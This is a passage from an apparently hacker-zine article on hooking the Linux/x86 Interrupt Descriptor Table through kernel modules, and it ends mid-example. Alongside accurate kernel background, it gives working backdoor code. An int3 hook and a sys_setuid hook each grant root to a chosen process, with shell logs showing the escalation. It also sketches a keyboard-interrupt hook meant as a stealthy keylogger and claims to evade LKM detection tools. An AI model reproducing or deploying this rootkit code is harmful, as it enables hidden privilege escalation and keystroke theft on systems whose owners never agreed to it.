Descriptor Table for fun and profit ]=------=| |=-----------------------------------------------------------------------=| |=----------------=[ kad, ]=-----------------------=| --[ Contents 1 - Introduction 2 - Presentation 2.1 - What is an interrupt? 2.2 - Interrupts and exceptions 2.3 - Interrupt vector 2.4 - What is IDT? 3 - Exceptions 3.1 - List of exceptions 3.2 - Whats happening when an exception appears ? 3.3 - Hooking by mammon 3.4 - Generic interrupt hooking 3.5 - Hooking for profit : our first backdoor 3.6 - Hooking for fun 4 - The hardware interrupt 4.1 - How does It work ? 4.2 - Initialization and activation of a bottom half 4.3 - Hooking of the keyboard interrupt 5 - Exception programmed for the system call 5.1 - List of syscalls 5.2 - How does a syscall work ? 5.3 - Hooking for profit 5.3.1 - Hooking of sys_setuid 5.3.2 - Hooking of sys_write 5.4 - Hooking for fun 6 - CheckIDT 7 - References & Greetz 8 - Appendix --[ 1 - Introduction The Intel CPU can be run in two modes: real mode and protected mode. The first mode does not protect any kernel registers from being altered by userland programs. All modern Operating System make use of the protected mode feature to restrict access to critical registers by userland processes. The protected mode offers 4 different 'privilege levels' (ranging from 0..3, aka ring0..ring3). Userland applications are usually executed in ring3. The kernel on the other hand is executed in the most privileged mode, ring0. This grants the kernel full access to all CPU registers, all parts of the hardware and the memory. With no question is this the mode of choice to do start some hacking. The article will demonstrate techniques for modifying the Interrupt Descriptor Table (IDT) on Linux/x86. Further on will the article explain how the same technique can be used to redirect system calls to achieve similar capability as with Loadable Kernel Modules (LKM). The presented examples in this article will only make use of LKM to load the executable code into kernel space for simplicity reasons. Other techniques which are not scope of this document can be used to either load the executable code into the kernel space or to hide the kernel module (Spacewalker's method for example). CheckIDT which is a useful tool for examining the IDT and to avoid kernel panics every 5 minutes is provided at the end of that paper. --[ 2 - Presentation ----[ 2.1 - What's an interrupt? "An interrupt is usually defined as an event that alters the sequence of instructions executed by a processor. Such events correspond to electrical signals generated by hardware circuits both inside and outside of the CPU chip." (from: "Understanding the Linux kernel," O'Reilly publishing.) ----[ 2.2 - Interrupts and exceptions The Intel reference manual refers to "synchronous interrupts" (those which are produced by the CPU Control Unit (CU) after the execution of an instruction has been finished) as "exceptions". Asynchronous interrupts (those which are generated by other hardware devices at arbitrary time) are referred to as just "interrupts". Interrupts are issued by external I/O devices whereas exceptions are caused either by programming errors or by anomalous conditions that must be handled by the kernel. The term "Interrupt Signals" will be used during this article to refer to both, exceptions and interrupts. Interrupts are split into two categories: Maskable interrupts which can be ignored (or 'masked') for a short time period and non-maskable interrupts which must be handled immediately. Unmaskable interrupts are generated by critical events such as hardware failures; I won't deal with them here. The well-known IRQs (Interrupt ReQuests) fall into the category of maskable interrupts. Exceptions are split into two different categories: Processor generated exceptions (Faults, Traps, Aborts) and programmed exceptions which can be triggered by the assembler instructions int or int3. The latter one are often referred to as software interrupts. ----[ 2.3 - Interrupt vector Each interrupt or exception is identified by a number between 0 and 255. Intel calls this number a vector. The numbers are classified like this: - From 0 to 31 : exceptions and non-maskable interrupts - From 32 to 47 : maskable interrupts - From 48 to 255 : software interrupts Linux uses only one software interrupt (0x80) which is used for the syscall interface to invoke kernel functions. Hardware IRQs (Interrupt ReQuest) from IRQ0..IRQ15 are assigned to the interrupt vectors 32..47. ----[ 2.4 - What is IDT ? IDT = Interrupt Descriptor Table The IDT is a linear table of 256 entries which associates an interrupt handler with each interrupt vector. Each entry of the IDT is a descriptor of 8 bytes which blows the entire IDT up to a size of 256 * 8 = 2048 bytes. The IDT can contain three different types of descriptors/entries: - Task Gate Descriptor Linux does not use this descriptor - Interrupt Gate Descriptor 63 48|47 40|39 32 +------------------------------------------------------------ | | |D|D| | | | | | | | | | HANDLER OFFSET (16-31) |P|P|P|0|1|1|1|0|0|0|0| RESERVED | | |L|L| | | | | | | | | ============================================================= | | SEGMENT SELECTOR | HANDLER OFFSET (0-15) | | | ------------------------------------------------------------+ 31 16|15 0 - bits 0 to 15 : handler offset low - bits 16 to 31 : segment selector - bits 32 to 37 : reserved - bits 37 to 39 : 0 - bits 40 to 47 : flags/type - bits 48 to 63 : handler offset high - Trap Gate Descriptor Same as the previous one, but the flag is different The flag is composed as next : - 5 bits for the type interrupt gate : 1 1 1 1 0 trap gate : 0 1 1 1 0 - 2 bits for DPL DPL = descriptor privilege level - 1 bit reserved Offset low and offset high contain the address of the function handling the interrupt. This address is jumped at when an interrupt occurs. The goal of the article is to change one of these addresses and let our own interrupthandler beeing executed. DPL=Descriptor Privilege Level The DPL is equal to 0 or 3. Zero is the most privileged level (kernel mode). The current execution level is saved in the CPL register (Current Privilege Level). The UC (Unit Of Control) compares the value of the CPL register against the DPL field of the interrupt in the IDT. The interrupt handler is executed if the DPL field is greater (less privileged) or equal to the value in the CPL register. Userland applications are executed in ring3 (CPL==3). Certain interrupt handlers can thus not be invoked by userland applications. The IDT is initialized one first time by the BIOS routine but Linux does it one more time when it take control. The asm lidt function initialize the idtr registry which will contain the size and idt's address. Then the setup_idt function fill the 256 entry of the idt with the same interrupt gate, ignore_int. Then the good gate will be inserted into the idt by the next functions: linux/arch/i386/kernel/traps.c::set_intr_gate(n, addr) insert an interrupt gate at the n place at the address pointed to by the idt register. The interrupt handler's address is stored in 'addr'. linux/arch/i386/kernel/irq.c All maskable interrupts and software interrupts are initialized with: set_intr_gate : #define FIRST_EXTERNAL_VECTOR 0x20 for (i = 0; i < NR_IRQS; i++) { int vector = FIRST_EXTERNAL_VECTOR + i; if (vector != SYSCALL_VECTOR) set_intr_gate(vector, interrupt[i]); linux/arch/i386/kernel/traps.c::set_system_gate(n, addr) insert a trap gate. The DPL field is set to 3. These interrupts can be invoked from the userland (ring3). set_system_gate(3,&int3) set_system_gate(4,&overflow) set_system_gate(5,&bounds) set_system_gate(0x80,&system_call); linux/arch/i386/kernel/traps.c::set_trap_gate(n, addr) insert a trap gate with the DPL field set to 0. The Others exception are initialized with set_trap_gate : set_trap_gate(0,÷_error) set_trap_gate(1,&debug) set_trap_gate(2,&nmi) set_trap_gate(6,&invalid_op) set_trap_gate(7,&device_not_available) set_trap_gate(8,&double_fault) set_trap_gate(9,&coprocessor_segment_overrun) set_trap_gate(10,&invalid_TSS) set_trap_gate(11,&segment_not_present) set_trap_gate(12,&stack_segment) set_trap_gate(13,&general_protection) set_trap_gate(14,&page_fault) set_trap_gate(15,&spurious_interrupt_bug) set_trap_gate(16,&coprocessor_error) set_trap_gate(17,&alignement_check) set_trap_gate(18,&machine_check) IRQ interrupts are initialized by set_intr_gate(), Exception int3, overflow, bound and the system_call software interrupt by set_system_gate(). All others exceptions are initialized by set_trap_gate(). Let's start over with some practice and examine the currently assigned handler addresses for each interrupt. Use the tool CheckIDT [6] attached to this article for this: %./checkidt -A -s Int *** Stub Address * Segment *** DPL * Type Handler Name -------------------------------------------------------------------------- 0 0xc01092c8 KERNEL_CS 0 Trap gate divide_error 1 0xc0109358 KERNEL_CS 0 Trap gate debug 2 0xc0109364 KERNEL_CS 0 Trap gate nmi 3 0xc0109370 KERNEL_CS 3 System gate int3 4 0xc010937c KERNEL_CS 3 System gate overflow 5 0xc0109388 KERNEL_CS 3 System gate bounds 6 0xc0109394 KERNEL_CS 0 Trap gate invalid_op ... 18 0xc0109400 KERNEL_CS 0 Trap gate machine_check 19 0xc01001e4 KERNEL_CS 0 Interrupt gate ignore_int 20 0xc01001e4 KERNEL_CS 0 Interrupt gate ignore_int ... 31 0xc01001e4 KERNEL_CS 0 Interrupt gate ignore_int 32 0xc010a0d8 KERNEL_CS 0 Interrupt gate IRQ0x00_interrupt 33 0xc010a0e0 KERNEL_CS 0 Interrupt gate IRQ0x01_interrupt ... 47 0xc010a15c KERNEL_CS 0 Interrupt gate IRQ0x0f_interrupt 128 0xc01091b4 KERNEL_CS 3 System gate system_call The System.map contains the symbol names to the addresses shown above. % grep c0109364 /boot/System.map 00000000c0109364 T nmi nmi=not maskable interrupt ->trap_gate % grep c010937c /boot/System.map 00000000c010937c T overflow overflow -> system_gate % grep c01001e4 /boot/System.map 00000000c01001e4 t ignore_int 18 to 31 are reserved by Intel for further use % grep c010a0e0 /boot/System.map 00000000c010a0e0 t IRQ0x01_interrupt device keyboard ->intr_gate % grep c01091b4 /boot/System.map 00000000c01091b4 T system_call system call -> system_gate rem: there is a new option in checkIDT for resolving symbol --[ 3 - Exceptions ----[ 3.1 - List of exceptions --------------------------------------------------------------------------+ number | Exception | Exception Handler | --------------------------------------------------------------------------+ 0 | Divide Error | divide_error() | 1 | Debug | debug() | 2 | Nonmaskable Interrupt | nmi() | 3 | Break Point | int3() | 4 | Overflow | overflow() | 5 | Boundary verification | bounds() | 6 | Invalid operation code | invalid_op() | 7 | Device not available | device_not_available() | 8 | Double Fault | double_fault() | 9 | Coprocessor segment overrun | coprocesseur_segment_overrun() | 10 | TSS not valid | invalid_tss() | 11 | Segment not present | segment_no_present() | 12 | stack exception | stack_segment() | 13 | General Protection | general_protection() | 14 | Page Fault | page_fault() | 15 | Reserved by Intel | none | 16 | Calcul Error with float virgul| coprocessor_error() | 17 | Alignement check | alignement_check() | 18 | Machine Check | machine_check() | --------------------------------------------------------------------------+ Exceptions are divided into two categories: - processor detected exceptions (DPL field set to 0) - software interrupts (aka programmed exceptions), (DPL field set to 3). The latter one can be invoked from userland. ----[ 3.2 - Whats happening when an exception occurs ? On the occurrence of an exception the corresponding handler address from the current IDT is executed. This handler is not the real handler who deals with the exception, it's just jumps till the true/good handler. To be clearer : exception -----> intermediate Handler -----> Real Handler entry.S defines all the intermediate Handler, also called Generic Handler or stub. The first Handler is written in asm, the real Handler written in C. For not being confused, lets call the first handler : asm Handler and the second one the C Handler. let's have a look at entry.S : entry.S : --------- ************************************************** ENTRY(nmi) pushl $0 pushl $ SYMBOL_NAME(do_nmi) jmp error_code ENTRY(int3) pushl $0 pushl $ SYMBOL_NAME(do_int3) jmp error_code ENTRY(overflow) pushl $0 pushl $ SYMBOL_NAME(do_overflow) jmp error_code ENTRY(divide_error) pushl $0 # no error value/code pushl $ SYMBOL_NAME(do_divide_error) ALIGN error_code: pushl %ds pushl %eax xorl %eax,%eax pushl %ebp pushl %edi pushl %esi pushl %edx decl %eax # eax = -1 pushl %ecx pushl %ebx cld movl %es,%cx movl ORIG_EAX(%esp), %esi # get the error value movl ES(%esp), %edi # get the function address movl %eax, ORIG_EAX(%esp) movl %ecx, ES(%esp) movl %esp,%edx pushl %esi # push the error code pushl %edx # push the pt_regs pointer movl $(__KERNEL_DS),%edx movl %dx,%ds movl %dx,%es GET_CURRENT(%ebx) call *%edi addl $8,%esp jmp ret_from_exception ********************************************** Let's examine the above: ALL handlers have the same structure (only system_call and device_not_available are different): pushl $0 pushl $ SYMBOL_NAME(do_####name) jmp error_code Pushl $0 is only used for some exceptions. The UC is supposed to smear the hardware error value of the exception onto the stack. Some exceptions to not generate an error value and $0 (zero) is pushed instead. The last line jumps to error_code (see linux/arch/i386/kernel/entry.S for details). error code is an asm macro used by the exceptions. so let's resume once again exception ---> intermediate Handler ---> error_code macro ---> Real Handler The Assembly fragment error_code performs the following steps: 1: Saves the registers that might be used by the high-level C function on the stack. 2: Set eax to -1. 3: Copy the hardware error value ($esp + 36) and the handler's address ($esp + 32) in esi and edi respectively. movl ORIG_EAX(%esp), %esi movl ES(%esp), %edi 4: Place eax, which is equal to -1, at the error code emplacement. Copy the content of es to the stack location at $esp + 32. 5: Save the the stack's top Address into edx,then smear error_code which we get back at point 3 and edx on the stack. The stack's top address must be saved for later use. 6: Place the kernel data segment selector into the ds and es registry. 7: Set the current process descriptor's address in ebx. 8: Stores the parameters to be passed to the high-level C function on the stack (e.g. the hardware exception value and the address and the stack location of the saved registers from the user mode process). 9: Call the exception handler (address is in edi, see 3). 10: The two last instructions are for the back of the exception. error_code will jump to the suitable exception Manager. The one that's gonna actually handle the exceptions (see traps.c for detailed information). So these ones are written in C. Let's take an exception handler as a concrete example. For example, the C handler for non maskable nmi interruption. rem: taken from traps.c ************************************************************** asmlinkage void do_nmi(struct pt_regs * regs, long error_code) { unsigned char reason = inb(0x61); extern atomic_t nmi_counter; .... ************************************************************** asmlinkage is a macro used to keep params on the stack. As params are passed from asm code to C code through the stack, it would be bad to get unwanted params put on the top of the stack. Asmlinkage gonna resolve that point. The function do_nmi gets a pointer of type pt_regs and error_code. pt_regs is defined into /usr/include/asm/ptrace.h: struct pt_regs { long ebx; long ecx; long edx; long esi; long edi; long ebp; long eax; int xds; int xes; long orig_eax; long eip; int xcs; long eflags; long esp; int xss; }; A part of the registry are push on the stack by error_code, the others are some registry pushed by the UC at the hardware level. This handler will handle the exception and almost all time send a signal to the process. ----[ 3.3 - Hooking an interrupt (by Mammon) Mammon wrote a txt on how to hook interrupt under linux. The technique I'm going to explain is similar to that of Mammon but will allow us to handle the interrupt in a more generic/comfortable way. Let's take int3, the breakpoint interrupt. The handler/stub is defines as following: ENTRY(int3) pushl $0 pushl $ SYMBOL_NAME(do_int3) jmp error_code The C handler's address is pushed on the stack right after the dummy hardware error value (zero) has been saved. The assembly fragment error_code is executed next. Our approach is to rewrite such an asm handler and push our own handler's address on the stack instead of the original one (do_int3). Example: void stub_kad(void) { __asm__ ( ".globl my_stub \n" ".align 4,0x90 \n" "my_stub: \n" "pushl $0 \n" "pushl ptr_handler(,1) \n" "jmp *ptr_error_code " :: ); } Our new handler looks similar to the original one. The surrounding statements are required to get it compiled with a C compiler. - We put our asm code into a function to make linking easier. - .globl my_stub, will allow us to reference the asm code if we declare in global : extern asmlinkage void my_stub(); - align 4,0x90, align the size of one word, on Intel processor the alignement is 4 (32 bits). - push ptr_handler(,1) , conform to the gas syntax,we wont use it later. For more information about asm inline, see [1]. We push our Handler's address and we jump to error_code. ptr_handler contain our C Handler's address : unsigned long ptr_handler=(unsigned long)&my_handler; The C Handler: asmlinkage void my_handler(struct pt_regs * regs,long err_code) { void (*old_int_handler)(struct pt_regs *,long) = (void *) old_handler; printk("<1>Wowowo hijacking of int 3 \n"); (*old_int_handler)(regs,err_code); return; } We get back two argument, one pointer on the registry, and err_code. We have seen before that error_code push this two argument. We save the old handler's address,the one we was supposed to push (pushl $SYMBOL_NAME(do_int3)). We do a little printk to show that we hooked the interrupt and go back to the old handler.Its the same way as hooking a syscall with "classical method". What's old_handler ? #define do_int3 0xc010977c unsigned long old_handler=do_int3; do_int3 address have been catch from System.map. rem : We can define a symbol's address on-the-fly. To be clearer : asm Handler ---------------- push 0 push our handler jmp to error_code error_code ---------- do some operation pop our handler address jmp to our C handler our C Handler -------------------- save the old handler's address print a message return to the real C handler Real C Handler ------------------- really deal with the interrupt Now we have to change the first Handler's address in the corresponding descriptor in the IDT (offset_low and offset_high, see 2.4). The function accepts three parameters: The number of the interrupt hook, the new handler's address and a pointer to save the old handler's address. void hook_stub(int n,void *new_stub,unsigned long *old_stub) { unsigned long new_addr=(unsigned long)new_stub; struct descriptor_idt *idt=(struct descriptor_idt *)ptr_idt_table; //save old stub if(old_stub) *old_stub=(unsigned long)get_stub_from_idt(3); //assign new stub idt[n].offset_high = (unsigned short) (new_addr >> 16); idt[n].offset_low = (unsigned short) (new_addr & 0x0000FFFF); return; } unsigned long get_addr_idt (void) { unsigned char idtr[6]; unsigned long idt; __asm__ volatile ("sidt %0": "=m" (idtr)); idt = *((unsigned long *) &idtr[2]); return(idt); } void * get_stub_from_idt (int n) { struct descriptor_idt *idte = &((struct descriptor_idt *) ptr_idt_table) [n]; return ((void *) ((idte->offset_high << 16 ) + idte->offset_low)); } struct descriptor_idt: struct descriptor_idt { unsigned short offset_low,seg_selector; unsigned char reserved,flag; unsigned short offset_high; }; We have seen that a descriptor is 64 bits long. unsigned short : 16 bits (offset_low,seg_selector and offset_high) unsigned char : 8 bits (reserved and flag) (3 * 16 bit ) + (2 * 8 bit) = 64 bit = 8 octet It's a descriptor for the IDT. The only interesting fields are offset_high and offset_low. It's the two fields we will modify. Hook_stub performs the following steps: 1: We copy our handler's address into new_addr 2: We make the idt variable point on the first IDT descriptor. We got the IDT's address with the function get_addr_idt(). This function execute the asm instruction sidt who get the idt address and his size into a variable. We get the idt's address from this variable (idtr) and we send it back. This have been already explained by sd and devik in Phrack 58 article 7. 3: We save the old handler's address with the function get_stub_from_idt. This function extract the fields offset_high and offset_low from the gived descriptor and send back the address. struct descriptor_idt *idte = &((struct descriptor_idt *) ptr_idt_table) [n]; return ((void *) ((idte->offset_high << 16 ) + idte->offset_low)); n = the number of the interrupt to hook. idte will then contain the given interrupt descriptor. We send the handler's address back,for it we send a type (void*) (32 bits). offset_high and offset_low do both 16 bits, we slide the bit for offset high to the left,and we add offset_low. The whole part give the handler's address. 4 : new_addr contain our handler's address,always 32 bits. We extract the 16 MSB and put them into offset_high and the 16 LSB into offset_low. The fields offset_high and offset_low of the interrupt's descriptor to handle have been changed. The whole code is available in annexe CODE 1 Why is this technique not perfect? Its not that its bad, but it isn't appropriate for the others interrupt.Here we admit that all handler are like that : pushl $0 pushl $ SYMBOL_NAME(do_####name) jmp error_code It's True.If you give a look in entry.S, they are almost all look like this. But not all. Imagine you wanna hook the syscall's handler, The device_not_aivable Handler (even if its not really interesting)or even the hardware interrupt....How Will we do it ? ----[ 3.4 - Generic interrupt hooking We are going to use another technique to hook a handler. Remember, in the handler written in C, we went back to the true C handler thanks to a return. Now, we are going to go back in the asm code. Simple example of handler : void stub_kad(void) { __asm__ ( ".globl my_stub \n" ".align 4,0x90 \n" "my_stub: \n" " call *%0 \n" " jmp *%1 \n" ::"m"(hostile_code),"m"(old_stub) ); } Here, we make a call to our fake C handler, the handler is executed and goes back to the asm handler which jumps to the true asm handler ! Our C handler : asmlinkage void my_function() { printk("<1>Interrupt %i hijack \n",interrupt); } What happens ? We are going to change the address in the idt by the address of our asm handler. This one will jump to our C handler and will go back to our asm handler which, at the end, will jump to the true asm handler the address of which we have saved. ::"m"(hostile_code),"m"(old_stub) For those who had not felt up to read the doc on asm inline, here is the syntax : asm ( assembler instruction : output operands : input operands : list of modified registers ); You can put asm or __asm__. __asm__ is used to avoid confusion with other vars. You can also put asm volatile, in this case the asm code won't be changed (optimized) during the compilation. "m"(hostile_code) and "m"(old_stub) are input operands. The first one is equal to %0, the second one to %1, ... So call %0 is equal to call hostile_code. "m" means memory address. hostile_code corresponds to the address of our C handler and old_stub to the address of the handler that was in the idt previously. If this seems impossible to understand, I advice you to read the doc on asm inline [1]. The whole code is in annexe. All the next codes comes from this code. In each new example, I will only show the asm handler et the C handler. The rest will be the same. First concrete example : bash-2.05# cat test.c #include int main () { int a=8,b=0; printf("A/B = %i\n",a/b); return 0; } bash-2.05# gcc -I/usr/src/linux/include -O2 -c hookstub-V0.2.c bash-2.05# insmod hookstub-V0.2.o interrupt=0 Inserting hook Hooking finish bash-2.05# ./test Floating point exception Interrupt 0 hijack bash-2.05# rmmod hookstub-V0.2 Removing hook bash-2.05# Good ! We see the "Interrupt hijack". In this code, we use MODULE_PARM which will allow to give parameters during the module insertion. For further information about this syntax, read "linux device drivers" from o'reilly [2] (chapter 2). This will allow us to hook a chosen interrupt with the same module. ----[ 3.5 - Hooking for profit : our first backdoor This first very simple backdoor will allow us to obtain a root shell. The C handler is going to give the root rights to the process that has generated the interrupt. Asm handler ------------ void stub_kad(void) { __asm__ ( ".globl my_stub \n" ".align 4,0x90 \n" "my_stub: \n" " pushl %%ebx \n" " movl %%esp,%%ebx \n" " andl $-8192,%%ebx \n" " pushl %%ebx \n" " call *%0 \n" " addl $4,%%esp \n" " popl %%ebx \n" " jmp *%1 \n" ::"m"(hostile_code),"m"(old_stub) ); } We give to the C handler the address of the current process descriptor. We get it back like in error_code, thanks to the macro GET_CURRENT : #define GET_CURRENT(reg) \ movl %esp, reg; \ andl $-8192, reg; defined in entry.S. rem : We can also use current instead. We put the result on the stack and we call our function. The rest of the asm code puts the stack back in its previous state and jumps to the true handler. C handler : ------------- ... unsigned long hostile_code=(unsigned long)&my_function; ... asmlinkage void my_function(unsigned long addr_task) { struct task_struct *p = &((struct task_struct *) addr_task)[0]; if(strcmp(p->comm,"give_me_root")==0 ) { p->uid=0; p->gid=0; } } We declare a pointer on the current process descriptor. We compare the name of the process with a name we have chosen. We must not attribute the root rights to all the process which would generate this interrupt. If it is the good process, then we can give it new rights. "give_me_root" is a little program which launch a shell (system("/bin/sh")). We will only have to put a breakpoint before system to launch a shell with the root rights. In practice : -------------- bash-2.05# gcc -I/usr/src/linux/include -O2 -c hookstub-V0.3.2.c bash-2.05# insmod hookstub-V0.3.2.o interrupt=3 Inserting hook Hooking finish bash-2.05# ///// in another shell ////// sh-2.05$ cat give_me_root.c #include int main (int argc, char ** argv) { system("/bin/sh"); return 0; } sh-2.05$ gcc -o give_me_root give_me_root.c sh-2.05$ id uid=1000(kad) gid=100(users) groups=100(users) sh-2.05$ gdb give_me_root -q (gdb) b main Breakpoint 1 at 0x80483f6 (gdb) r Starting program: /tmp/give_me_root Breakpoint 1, 0x080483f6 in main () (gdb) c Continuing. sh-2.05# id uid=0(root) gid=0(root) groups=100(users) sh-2.05# We are root. The code is in annexe, CODE 2. ----[ 3.6 - Hooking for fun A program that could be interesting is an exception tracer. We could for example hook all the exceptions to print the name of the process that has provoked the exception. We could know all the time who launch what. We could also print the values of the registers. There is a function show_regs that is in arch/i386/kernel/process.c : void show_regs(struct pt_regs * regs) { long cr0 = 0L, cr2 = 0L, cr3 = 0L; printk("\n"); printk("EIP: %04x:[<%08lx>]",0xffff & regs->xcs,regs->eip); if (regs->xcs & 3) printk(" ESP: %04x:%08lx",0xffff & regs->xss,regs->esp); printk(" EFLAGS: %08lx\n",regs->eflags); printk("EAX: %08lx EBX: %08lx ECX: %08lx EDX: %08lx\n", regs->eax,regs->ebx,regs->ecx,regs->edx); printk("ESI: %08lx EDI: %08lx EBP: %08lx", regs->esi, regs->edi, regs->ebp); printk(" DS: %04x ES: %04x\n", 0xffff & regs->xds,0xffff & regs->xes); __asm__("movl %%cr0, %0": "=r" (cr0)); __asm__("movl %%cr2, %0": "=r" (cr2)); __asm__("movl %%cr3, %0": "=r" (cr3)); printk("CR0: %08lx CR2: %08lx CR3: %08lx\n", cr0, cr2, cr3); } You can use this code to print the state of the registers at every exception. Something more dangerous would be to change the asm handler so that it would not execute the true C handler. The process that has generated the exception would not receive such signals as SIGSTOP or SIGSEGV. This would be very useful in some situations. --[ 4 - THE HARDWARE INTERRUPTS ----[ 4.1 - How does it works ? We can also hook interrupts generated by IRQs with the same method but they are less interesting to hook (unless you have a great idea ;). We are going to hook interrupt 33 which is keyboard's. The problem is that this interrupt happens a lot more. The handler will be executed a large number of times and will have to go very fast to not block the system. To avoid this, we are going to use bottom half. There are functions of low priority which are used for interrupt handling in most cases . The kernel is waiting for the adequate time to launch it, and other interruptions are not masked during its execution The waiting bottom half will be executed only at the following: - the kernel finishes to handle a syscall - the kernel finishes to handle a exception - the kernel finishes to handle a interrupt - the kernel uses the schedule() function in order to select a new process But they will be executed before the processor goes back in user mode. So the bottom half are useful to ensure the quick handle of an interruption. Here are some examples of linux used bottom halves ----------------+-------------------------------+ Bottom half | Peripheral equipment | ----------------+-------------------------------+ CONSOLE_BH | Virtual console | IMMEDIATE_BH | Immediate tasks file | KEYBOARD_BH | Keyboard | NET_BH | Network interface | SCSI_BH | SCSI interface | TIMER_BH | Clock | TQUEUE_BH | Periodic tasks queue | ... | | ----------------+-------------------------------+ My goal writing this paper is not to study the bottom halves, as it's a too wide topic. Anyway, for more informations about that topic, you can have a look at http://users.win.be/W0005997/UNIX/LINUX/IL/kernelmechanismseng.html [8] IRQ list -------- BEWARE ! : the number of the interrupts are not always the same for the IRQs! ----+---------------+---------------------------------------- IRQ | Interrupt | Peripheral equipment ----+---------------+---------------------------------------- 0 | 32 | Timer 1 | 33 | Keyboard 2 | 34 | PIC cascade 3 | 35 | Second serial port 4 | 36 | First serial port 6 | 37 | Floppy drive 8 | 40 | System clock 11 | 43 | Network interface 12 | 44 | PS/2 mouse 13 | 45 | Mathematic coprocessor 14 | 46 | First EIDE disk controller 15 | 47 | Second EIDE disk controller ----+---------------+---------------------------------------- ----[ 4.2 - Initialization and activation of a bottom half The low parts must be initialized with the function init_bh(n,routine) that insert the address routine in the n-th entry of bh_base (bh_base is an array where low parts are kept). When it is initialized, it can be activated and executed. The function mark_bh(n) is used by the interrupt handler to activate the n-th low part. The tasklets are the functions themselves. There are put together in list of elements of type tq_struct : struct tq_struct { struct tq_struct *next; /* linked list of active bh's */ unsigned long sync; /* must be initialized to zero */ void (*routine)(void *); /* function to call */ void *data; /* argument to function */ }; The macro DELACRE_TASK_QUEUE(name,fonction,data) allow to declare a tasklet that will then be inserted in the task queue thanks to the function queue_task. There is several task queues, the most interesting here is tq_immediate that is executed by the bottom half IMMEDIATE_BH (immediate task queue). (include/linux/tqueue.h) ----[ 4.3 - Hooking of the keyboard interrupt When we hit a key, the interrupt happens twice. Once when we push the key and once when we release the key. The code below will display a message every 10 interrupts. If we hit 5 keys, the message appears. I don't show the asm handler which is the same as in 3.4 Code ---- ... struct Variable { int entier; char chaine[10]; }; ... static void evil_fonction(void * status) { struct Variable *var = (struct Variable * )status; nb++; if((nb%10)==0)printk("Bottom Half %i integer : %i string : %s\n", nb,var->entier,var->chaine); } ... asmlinkage void my_function() { static struct Variable variable; static struct tq_struct my_task = {NULL,0,evil_fonction,&variable}; variable.entier=3; strcpy(variable.chaine,"haha hijacked key :) "); queue_task(&my_task,&tq_immediate); mark_bh(IMMEDIATE_BH); } We declare a tasklet my_task. We initialize it with our function and the argument. As the tasklet allow us to take only one argument, we give the address of a structure. This will allow to use several arguments. We add the tasklet to the list tq_immediate thanks to queue_task. Finally, we activate the low part IMMEDIATE_BH thanks to mark_bh: mark_bh(IMMEDIATE_BH) We have to activate IMMEDIATE_BH, which handles the tasks queue 'tq_immediate' (the one where we added our own tasklet) evil_function is to be executed just after one of the requested event (listed in part 4.1) evil_function is just going to display a message each time that the interrupt happened 10 times. We effectively hooked the keyboard interrupt. We could use this method to code a keylogger. This one would be the most quiet because it would act at interrupts level. The issue, that I didn't solve, is to know which key has been hit. To do this, we can use the function inb() that can read on a I/O port. There are 65536 I/O ports (8 bits ports). 2 8 bits ports make a 16 bits ports and 2 16 bits ports make a 32 bits ports. The functions that allow us to access ports are: inb,inw,inl : allow to read 1, 2 or 4 consecutive bytes from a I/O port. outb,outw,outl : allow to write 1, 2 or 4 consecutive bytes to a I/O port. So we can read the scancode of the keyboard thanks to the function inb, and its status (pushed, released). Unfortunately, I'm not sure of the port to read. The port for the scancode is 0x60 and the port for the status is 0x64. scancode=inb(0x60); status=inb(0x64); scancode is going to be equal to a value that will have to be transformed to know which key has been hit. This is realized with an array of value. It may exist a function that give directly the conversion, but I'm not sure. If anyone has information about it or wish to develop the topic, he can contact me. --[ 5 - THE EXCEPTION PROGRAMMED FOR THE SYSTEM CALL ----[ 5.1 - List of the syscalls You can find a list of all the syscalls at the url : http://www.lxhp.in-berlin.de/lhpsysc0.html [3]. All syscalls are listed and the value to put in the registers are given. Rem : be ware, the numbers of the syscalls are not the same in 2.2.* and 2.4.* kernels. ----[ 5.2 - How does a syscall work ? Thanks to the technique that we have just used here, we can also hook the syscalls. When a syscall is called, all the parameters of the syscall are in the registers. eax : number of the called syscall ebx : first param ecx : second param edx : third param esi : fourth param edi : fifth param The maximum number of arguments can't exceed 5. However, some syscalls need more than 5 arguments. It is the case for the syscall mmap (6 params). In such a case, a single register is used to point to a memory area to the addressing space of the process in user mode that contains the values of the parameters. We can get these values thanks to the structure pt_regs that we've seen before. We are going to hook syscalls at the IDT level and not in the syscall_table. kstat and all currently available LKM detection tools will fail in detecting our voodoo. I won't show you all what can be done by hooking the syscalls, the technique used by pragmatic or so in their LKMs are applicable here. I will show you how to hook some syscalls, you will be able to hook those you want using the same technique. ----[ 5.3 - Hooking for profit ------[ 5.3.1 - Hooking of sys_setuid SYS_SETUID: ----------- EAX: 213 EBX: uid We are going to begin with a simple case, a backdoor that change the rights of a process into root. The same backdoor as in 3.5 but we are going to hook the syscall setuid. asm handler : -------------- ... #define sys_number 213 ... void stub_kad(void) { __asm__ ( ".globl my_stub \n" ".align 4,0x90 \n" "my_stub: \n" //save the register value " pushl %%ds \n" " pushl %%eax \n" " pushl %%ebp \n" " pushl %%edi \n" " pushl %%esi \n" " pushl %%edx \n" " pushl %%ecx \n" " pushl %%ebx \n" //compare if it's the good syscall " xor %%ebx,%%ebx \n" " movl %2,%%ebx \n" " cmpl %%eax,%%ebx \n" " jne finis \n" //if it's the good syscall, //put top stack address on stack :) " mov %%esp,%%edx \n" " mov %%esp,%%eax \n" " andl $-8192,%%eax \n" " pushl %%eax \n" " push %%edx \n" " call *%0 \n" " addl $8,%%esp \n" "finis: \n" //restore register " popl %%ebx \n" " popl %%ecx \n" " popl %%edx \n" " popl %%esi \n" " popl %%edi \n" " popl %%ebp \n" " popl %%eax \n" " popl %%ds \n" " jmp *%1 \n" ::"m"(hostile_code),"m"(old_stub),"i"(sys_number) ); } - we save the values of all the registers on the stack - we compare eax that contains the number of the syscall with the value of sys_number that we have defined above. - if it is the good syscall, we put on the stack the value of esp from which have saved all the registers (that will be used for pt_regs) and the current process descriptor. - we call our C handler, then at the return, we pop 8 bytes (eax + edx). - finis : we put back the value of our registers and we call the true handler. By changing the value of sys_number, we can hook any syscall with this asm handler. C handler ---------- asmlinkage void my_function(struct pt_regs * regs,unsigned long fd_task) { struct task_struct *my_task = &((struct task_struct *) fd_task)[0]; if (regs->ebx == 12345 ) { my_task->uid=0; my_task->gid=0; my_task->suid=1000; } } We get the value of the registers in a pt_regs structure and the address of the current fd. We compare the value of ebx with 12345, if it is equal then we set the uid and the gid of the current process to 0. In practice : -------------- bash-2.05$ cat setuid.c #include int main (int argc,char ** argv) { setuid(12345); system("/bin/sh"); return 